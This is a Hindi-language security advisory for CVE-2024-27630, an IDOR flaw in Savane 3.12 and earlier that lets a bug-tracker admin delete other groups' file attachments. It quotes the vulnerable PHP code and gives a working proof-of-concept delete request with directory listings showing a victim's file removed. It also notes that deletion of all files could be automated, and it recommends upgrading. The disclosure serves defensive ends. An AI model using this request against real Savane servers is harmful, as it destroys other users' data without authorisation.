
CVE-2024–27630 संदर्भ
Savane v3.12 और उससे पहले के संस्करणों में, /bugs/index.php से फ़ाइल हटाते समय file_id पैरामीटर पर सत्यापन की कमी के कारण एक असुरक्षित प्रत्यक्ष वस्तु संदर्भ (IDOR) भेद्यता उत्पन्न होती है, जिससे बग ट्रैकर वाले समूह का एक प्रमाणित प्रशासक किसी भी बग ट्रैकर की फ़ाइल अनुलग्नकों को मनमाने ढंग से हटा सकता है, जिससे इन फ़ाइलों की उपलब्धता में कमी आती है। चूंकि फ़ाइल आईडी प्रत्येक नए अपलोड के साथ बढ़ती हैं, इसलिए एक स्क्रिप्ट बनाना संभव है जो file_id द्वारा सर्वर पर सभी फ़ाइल अनुलग्नकों को पुनरावृत्त रूप से हटा देती है।
CWE वर्गीकरण: CWE-639: उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण उपमार्ग
रिपोर्टकर्ता: Ally Petitt
प्रभावित उत्पाद: Savane
प्रभावित संस्करण: 3.12 और पूर्ववर्ती
बग ट्रैकर पर फ़ाइल अनुलग्नकों को हटाने के लिए जिम्मेदार फ़ंक्शन trackers_data_delete_file() है, जो नीचे दिए गए कोड ब्लॉक में परिभाषित है।
frontend/php/include/trackers/data.php:2417
function trackers_data_delete_file ($group_id, $item_id, $file_id)
{
global $sys_trackers_attachments_dir;
# सुनिश्चित करें कि अनुलग्नक समूह से संबंधित है।
$res = db_execute ("
SELECT bug_id from " . ARTIFACT . " WHERE bug_id = ? AND group_id = ?",
[$item_id, $group_id]
);
if (db_numrows ($res) <= 0)
{
# TRANSLATORS: तर्क आइटम आईडी (एक संख्या) है।
$msg = sprintf (
_("Item #%s doesn't belong to project"), $item_id
);
fb ($msg, 1);
return;
}
$result = false;
# अनुलग्नक हटाएं।
if (unlink ("$sys_trackers_attachments_dir/$file_id"))
$result = db_execute ("
DELETE FROM trackers_file WHERE item_id = ? AND file_id = ?",
[$item_id, $file_id]
);
फ़ंक्शन item_id में निर्दिष्ट बग आईडी का समूह, जिसे $group_id कहा जाता है, यह सत्यापित करने के लिए एक SQL क्वेरी से शुरू होता है कि क्या हमलावर उस समूह का सदस्य है। फ़ंक्शन यह जाँचने में विफल रहता है कि क्या file_id भी उसी समूह का हिस्सा है, जिसका अर्थ है कि जब तक item_id हमलावर के समूह में एक मान्य बग से मेल खाता है, हमलावर file_id को अपलोड निर्देशिका /var/lib/savane/trackers_attachments के भीतर किसी भी फ़ाइल की ओर इंगित करने के लिए संशोधित कर सकता है।
इसके अतिरिक्त, यह फ़ंक्शन केवल बग ट्रैकर प्रशासकों के लिए सुलभ है।
frontend/php/bugs/index.php:586
case 'delete_file':
# एक संलग्न फ़ाइल निकालें।
if ($is_trackeradmin)
{
trackers_data_delete_file($group_id, $item_id, $item_file_id);
# पिछली सेटिंग्स अनसेट करें और आइटम पर वापस जाएं।
$depends_search = $reassign_change_project_search = $add_cc
= $input_file = $changed = $vfl = $details = null;
include '../include/trackers_run/mod.php';
}
else
exit_permission_denied ();
break;
ये चरण एक ऐसी फ़ाइल को हटाने का प्रदर्शन करते हैं जो अनधिकृत है, हालांकि, ध्यान दें कि एक हमलावर उनकी आईडी द्वारा सभी फ़ाइलों के विलोपन को स्वचालित कर सकता है क्योंकि वे अनुमान लगाने योग्य हैं।
40231 पीड़ित द्वारा अपलोड की गई थी:root@60ae93fe131f:/var/lib/savane/trackers_attachments# ls
40226 40227 40230 40231
उस समूह के मुखपृष्ठ पर जाएँ जिसका हमलावर प्रशासक है। फिर, Bugs > Browse पर जाएँ और तालिका के सबसे बाएँ कॉलम में एक मान्य आइटम आईडी नोट करें। इस आईडी का उपयोग अगले चरण में किया जाएगा।
हमलावर के रूप में, पथ /bugs/index.php?func=delete_file&item_id=<ATTACKER_ITEM_ID>&item_file_id=<FILE_ID_TO_DELETE> पर एक get अनुरोध करें।
मेरे मामले में, यह इस तरह दिखता है http://172.17.0.2:7890/bugs/index.php?func=delete_file&item_id=50697&item_file_id=40231।
सत्यापित करें कि पीड़ित की फ़ाइल (एक ऐसे समूह से जिस पर हमलावर के पास विशेषाधिकार नहीं हैं) हटा दी गई है। उदाहरण के लिए:
root@60ae93fe131f:/var/lib/savane/trackers_attachments# ls
40226 40227 40230
Savane संस्करण 3.13 या उच्चतर पर अपग्रेड करें। पैच यहाँ पाया जा सकता है।